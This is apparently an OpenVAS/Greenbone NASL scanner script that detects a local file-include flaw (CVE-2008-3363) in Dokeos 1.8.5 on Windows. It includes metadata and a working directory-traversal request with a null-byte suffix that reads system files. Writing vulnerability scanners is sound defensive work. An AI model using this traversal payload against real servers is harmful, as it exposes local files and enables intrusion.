Dokeos <= 1.8.5 'user_portal.php' Local File Include Vulnerability

# SPDX-FileCopyrightText: 2009 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:dokeos:dokeos";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.100155");
  script_version("2025-04-15T05:54:49+0000");
  script_tag(name:"last_modification", value:"2025-04-15 05:54:49 +0000 (Tue, 15 Apr 2025)");
  script_tag(name:"creation_date", value:"2009-04-23 21:21:19 +0200 (Thu, 23 Apr 2009)");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_cve_id("CVE-2008-3363");

  script_tag(name:"solution_type", value:"Workaround");

  script_name("Dokeos <= 1.8.5 'user_portal.php' Local File Include Vulnerability");

  script_category(ACT_ATTACK);
  script_tag(name:"qod_type", value:"remote_vul");

  script_family("Web application abuses");
  script_copyright("Copyright (C) 2009 Greenbone AG");
  script_dependencies("gb_dokeos_http_detect.nasl", "os_detection.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("dokeos/http/detected", "Host/runs_windows");

  script_tag(name:"summary", value:"Dokeos is prone to a local file-include vulnerability because it fails to
  properly sanitize user-supplied input.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");

  script_tag(name:"impact", value:"An attacker can exploit this vulnerability to view local files or
  execute arbitrary local scripts on the vulnerable computer in the context of the webserver process.");

  script_tag(name:"affected", value:"Dokeos 1.8.5 is vulnerable, other versions may also be affected.

  Please note that this issue affects only Dokeos running on Windows.");

  script_tag(name:"solution", value:"The vendor has provided a workaround to mitigate this
  vulnerability. Please see the references for more information.");

  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/30150");
  script_xref(name:"URL", value:"https://web.archive.org/web/20100102111721/http://www.dokeos.com/wiki/index.php/Security#Dokeos_1.8.5");

  exit(0);
}

include("host_details.inc");
include("os_func.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("misc_func.inc");
include("traversal_func.inc");

if (!port = get_app_port(cpe: CPE, service: "www"))
  exit(0);

if (!dir = get_app_location(cpe: CPE, port: port))
  exit(0);

if (dir == "/")
  dir = "";

files = traversal_files("windows");
foreach pattern(keys(files)) {

  file = files[pattern];

  url = dir + "/user_portal.php?include=..\..\..\..\..\..\..\..\..\..\..\..\..\" + file + "%00.ht";
  req = http_get(item: url, port: port);
  buf = http_keepalive_send_recv(port: port, data: req, bodyonly: FALSE);
  if(!buf)
    continue;

  if (egrep(pattern:pattern, string: buf)) {
    report = http_report_vuln_url(port: port, url: url);
    security_message(port: port, data: report);
    exit(0);
  }
}

exit(99);